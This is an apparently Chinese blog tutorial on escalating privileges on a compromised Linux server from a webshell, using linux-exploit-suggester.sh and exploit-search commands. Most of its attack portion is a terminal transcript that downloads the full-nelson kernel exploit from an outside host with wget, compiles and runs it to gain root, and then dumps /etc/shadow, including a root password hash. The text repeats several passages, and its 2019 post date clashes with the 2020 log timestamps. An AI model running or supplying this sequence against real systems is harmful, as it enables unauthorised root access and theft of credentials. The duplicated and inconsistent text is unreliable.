[原創(chuàng)] Linux輔助提權(quán)工具，一款方便又牛叉的自動(dòng)腳本:linux-exploit-suggester.sh
發(fā)布日期：2019/3/12 作者：LG
瀏覽：1561
我們?cè)谌肭謑inux時(shí)，如果得到了一個(gè)低權(quán)限的webshell，這時(shí)候我們想進(jìn)行提權(quán)操作，我們?cè)撛趺床僮髂?？?duì)于經(jīng)驗(yàn)豐富的，或是手上有0day在手hacker來(lái)說(shuō)可能不是什么難事，想必以下是大家習(xí)慣使用的手法：
搜索相關(guān)漏洞，如:
searchsploit Tomcat | sort -n
findsploit Tomcat 7.0.42
搜索相關(guān)漏洞，如:
searchsploit Tomcat | sort -n
findsploit Tomcat 7.0.42
MSF查找漏洞： search cve:2019 type:exploit 或 search cve:2019 type:exploit arch 386 或 edb選項(xiàng)匹配EXP-DB的ID（search -help）
MSF查找漏洞WINDOWS漏洞： search cve:2019 type:exploit platform windows
MSF查找2020年LINUX漏洞 ：search cve:2020 type:exploit platform linux
exploit建議器：post/multi/recon/local_exploit_suggester
或在線https://github.com/mzet-/linux-exploit-suggester
.....
今天為大家介紹另外一種方法，Linux輔助提權(quán)工具，一款方便又牛叉的自動(dòng)腳本:linux-exploit-suggester.sh
以下是它的官網(wǎng)：https://github.com/mzet-/linux-exploit-suggester 官網(wǎng)介紹有點(diǎn)長(zhǎng)，我就不全貼出來(lái)了，大家自己去看，一點(diǎn)都不難理解。
下面我們就試用一下，把它通過(guò)各種方法wget\ 上傳到服務(wù)器上去，然后直接執(zhí)行，返回類似下面的界面
.....
今天為大家介紹另外一種方法，Linux輔助提權(quán)工具，一款方便又牛叉的自動(dòng)腳本:linux-exploit-suggester.sh
以下是它的官網(wǎng)：https://github.com/mzet-/linux-exploit-suggester 官網(wǎng)介紹有點(diǎn)長(zhǎng)，我就不全貼出來(lái)了，大家自己去看，一點(diǎn)都不難理解。
下面我們就試用一下，把它通過(guò)各種方法wget\ 上傳到服務(wù)器上去，然后直接執(zhí)行，返回類似下面的界面
我紅線框出來(lái)的是風(fēng)險(xiǎn)等級(jí)，我們優(yōu)先選 highly probable 的去攻擊，成功率會(huì)高一點(diǎn)，更會(huì)節(jié)省時(shí)間。上面的臟牛我試過(guò)了，可以成功提權(quán)，我們?cè)僦匦抡乙粋€(gè)試試，如下圖
我們?cè)诜?wù)器SHELL上下載源碼：wget http://xxx/full-netlson.c
通過(guò)ls查看文件是否下載成功
然后把源碼編譯成可執(zhí)行文件nelson,再直接執(zhí)行，幾秒鐘過(guò)后提權(quán)成功了。
可見這款工具對(duì)于提權(quán)來(lái)說(shuō)還是很方便使用的，Love it !
$ wget http://vulnfactory.org/exploits/full-nelson.c ; //從互聯(lián)網(wǎng)上下載源代碼進(jìn)行編譯
$ wget http://vulnfactory.org/exploits/full-nelson.c ; //從互聯(lián)網(wǎng)上下載源代碼進(jìn)行編譯
--2020-07-22 09:10:43-- http://vulnfactory.org/exploits/full-nelson.c
Resolving vulnfactory.org... 198.54.116.186
Connecting to vulnfactory.org|198.54.116.186|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9400 (9.2K) [text/plain]
Saving to: `full-nelson.c'
100%[======================================>] 9,400 36.0K/s in 0.3s
2020-07-22 09:10:43 (36.0 KB/s) - `full-nelson.c' saved [9400/9400]
$ ls //查看下載下來(lái)的文件 full-nelson.c
ls
a.c cve-2019-18634.c poc.c
a.out full-nelson.c rh-cve-2016-5195_5.sh
CVE-2017-1000366_CVE-2017-1000379.c my.php scanexp.sh
$ gcc -o nelson ./full-nelson.c //對(duì)下載的源碼進(jìn)行編譯
gcc -o nelson ./full-nelson.c
$ ls //查看編譯成功的文件是否存在
ls
a.c full-nelson.c rh-cve-2016-5195_5.sh
a.out my.php scanexp.sh
CVE-2017-1000366_CVE-2017-1000379.c nelson //編譯成功的文件
cve-2019-18634.c poc.c
$ ./nelson //提交執(zhí)行進(jìn)行提權(quán)
./nelson
[*] Resolving kernel addresses...
[+] Resolved econet_ioctl to 0xf83992d0
[+] Resolved econet_ops to 0xf83993c0
[+] Resolved commit_creds to 0xc01763d0
[+] Resolved prepare_kernel_cred to 0xc0176710
[*] Calculating target...
[*] Failed to set Econet address.
[*] Triggering payload...
[*] Got root!
# id
id
uid=0(root) gid=0(root) //提權(quán)成功了
# cat /etc/shadow //可以讀取敏感文件了
cat /etc/shadow
root:$6$.jAQ34WR$Wle7fjBZkKp5vLAdRaOA8esxbw7d8mFPubnFZkHKGd6BfsTUHN52jtvVO.zntjvmNb6uklmk2SHvExeNIYPL/1:18464:0:99999:7:::
下拉加載更多評(píng)論